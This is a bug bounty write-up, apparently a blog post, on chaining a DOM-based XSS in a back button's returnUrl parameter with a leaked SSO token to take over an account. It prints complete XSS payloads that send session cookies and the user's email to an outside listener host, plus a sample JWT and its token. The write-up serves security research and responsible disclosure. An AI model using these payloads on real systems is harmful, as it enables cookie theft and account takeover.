I was casually browsing through the app while logged in, clicking around the interface to map out what was available. Nothing stood out at first. Just another portal with standard features, some client details, and a handful of functional pages.
But on one of those pages, a small URL parameter caught my attention. Something called returnUrl
. It looked like it might be part of a redirect flow, so I gave it a quick test. I wasn’t expecting much. Just checking for a classic open redirect.
What I didn’t expect was for it to show up somewhere else entirely. That same parameter was reflected into the page and tied directly to a JavaScript action. Specifically, a back button.
That was the moment things shifted.
What looked like a simple navigation feature turned out to be something much more. One test led to script execution. And that was just the beginning.
While navigating through the application as an authenticated user, I opened a page that displayed details for a specific connection. Nothing unusual at first glance — just the typical set of fields and a clean layout. But then I noticed something in the URL.
A parameter named returnUrl
was being passed alongside the connection ID. It looked like a standard part of the navigation flow, probably used to redirect users back to a previous page:
GET /connections/1234567890123?returnUrl=/home HTTP/1.1
Host: localhost:3000
Cookie: Jwt=eyJ1c2VySWQiOiI1NDkwIiwidG9rZW4iOiJhNWE2OTgxZS0xMjdkLTQ0ZjktOGMwNi03OTkyNGNiOTE2ZGUifQ%3D%3D
Out of habit, I tried to manipulate it to test for open redirects, but nothing happened. The page didn't behave any differently, and I moved on.
Still, something about that parameter stuck with me.
When I checked the response in Burp Suite, I spotted it again — this time inside the HTML. The value of returnUrl
wasn't just sitting in the URL anymore. It was being reflected directly into the page. That changed everything:
Reflection without encoding is rarely accidental. And whenever user-controlled input makes it into a page’s output, I start paying a lot more attention.
It wasn’t a vulnerability yet, but it was definitely a lead. And leads like this often go somewhere.
After noticing the returnUrl
value reflected in the response, I wanted to know exactly where it ended up in the page. So I started digging through the HTML more closely. That’s when I found it — embedded inside a data-*
attribute on a div
, tied to a back button on the page.
That alone wouldn’t be a problem. But then I saw how the back button worked.
It used JavaScript to read the data-return-url
attribute and set it as the destination when the button was clicked. In other words, the value I controlled was being passed directly into a JavaScript function without any validation or sanitization.
It had officially reached a sink.
At that point, I did what any bug bounty hunter would do — I injected javascript:alert(1)
into the returnUrl
parameter and reloaded the page.
Click the back button.
Press enter or click to view image in full size
Boom!!!
Alert box.
That one simple test confirmed it. This wasn’t just a harmless reflection. This was full DOM-based XSS, buried in a back button, inside an authenticated part of the application.
And I had control of it.
At first, this felt like a fairly standard DOM XSS. Interesting, but nothing too serious on its own. The vulnerable returnUrl
parameter allowed me to execute JavaScript, but I hadn’t yet found anything valuable to target.
Then I remembered something.
While exploring the application earlier, I had come across an SSO request format that looked like this:
GET /publicapi/LoginSSO/{EMAIL}/{TOKEN}/Dashboard
I didn’t pay much attention to it at the time, but now that I had a working XSS in hand, that memory came rushing back.
Alongside the usual session cookie, the application also set a cookie named Jwt
. I decoded its value out of curiosity and found it contained a small JSON object. Inside were two fields that immediately stood out: a userId
, and a token
.
Press enter or click to view image in full size
That token looked familiar.
I went back through my Burp history to see where this token might have been used before. Sure enough, there it was; embedded directly into the same kind of SSO request I had spotted earlier. It was clear now: the token was used for authenticating between portals via SSO, and the only other requirement was the email address of the user.
The XSS alone was already impactful, but now I had a way to extract this token directly from a user’s browser and reuse it for authenticated access across systems.
To prove it, I crafted a payload that would grab the document.cookie
and exfiltrate it to my listener. Here’s what I injected into the returnUrl
parameter:
javascript:/*</script><svg/onload='+/"/+/onclick=1/+/[*/[]/+((new(Image)).src=("http://example.oastify.com/?c="+encodeURIComponent(document.cookie)))//'>
URL encoded this looks like:
javascript%3A%2F%2A%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonclick%3D1%2F%2B%2F%5B%2A%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%22http%3A%2F%2Fexample.oastify.com%2F%3Fc%3D%22%2BencodeURIComponent%28document.cookie%29%29%29%2F%2F%27%3E
When I clicked the back button on the vulnerable page, my payload executed as expected. Within seconds, my request bin received the full contents of document.cookie
, including the full Jwt
token, since it wasn’t marked as HttpOnly
or Secure
.
Press enter or click to view image in full size
At this point, I had almost everything I needed for the SSO request. I only needed the email address of the user.
As mentioned before, I found through Burp History that the email address of the user is reflected on the same page in a variable. This means that I can send this together with the cookies. I changed the payload slightly:
javascript:/*</script><svg/onload='+/"/+/onclick=1/+/[*/[]/+((new(Image)).src=("http://example.oastify.com/?c="+encodeURIComponent(document.cookie)+"&u="+encodeURIComponent(userId)))//'>
Again, URL encoded:
javascript%3A%2F%2A%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonclick%3D1%2F%2B%2F%5B%2A%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%22http%3A%2F%2Fexample.oastify.com%2F%3Fc%3D%22%2BencodeURIComponent%28document.cookie%29%2B%22%26u%3D%22%2BencodeURIComponent%28userId%29%29%29%2F%2F%27%3E
Now also the email of the user is received in Burp Collaborator together with the Jwt cookie that contains the token:
Press enter or click to view image in full size
With a working DOM XSS and access to both the Jwt
cookie and the user’s email address, I had everything I needed to try something more serious.
Earlier in my testing, I had come across a request pattern used by the application to switch between portals via SSO.
At the time, it didn’t seem important. But now, knowing that the Jwt
cookie contained a user-specific token and that the email was exposed in a JavaScript variable on the same page, I decided to revisit it.
I decoded the Jwt
cookie and pulled out the token:
a5a6981e-127d-44f9-8c06-79924cb916de
Then, I paired it with the email I had extracted ([email protected]
) and crafted the following request:
Press enter or click to view image in full size
When I sent this request, the application responded by setting a new session cookie. Just like that, I was authenticated as the victim — no password, no interaction, no MFA.
This confirmed full account takeover.
What began as a client-side injection escalated into cross-portal access with no user interaction required. A single vulnerable parameter and a few exposed values were all it took to compromise an account completely.
After confirming the account takeover, I stopped all further testing and documented the full vulnerability chain. I included each step, from the DOM-based XSS to the exposed Jwt
token and how it could be used to authenticate as another user through the SSO mechanism.
I submitted the report immediately.
The response from the program was quick. The issue was acknowledged as valid, and after internal assessment, it was classified as critical due to the lack of user interaction required and the potential for complete account compromise across portals.
It was patched shortly after, and the impact was mitigated.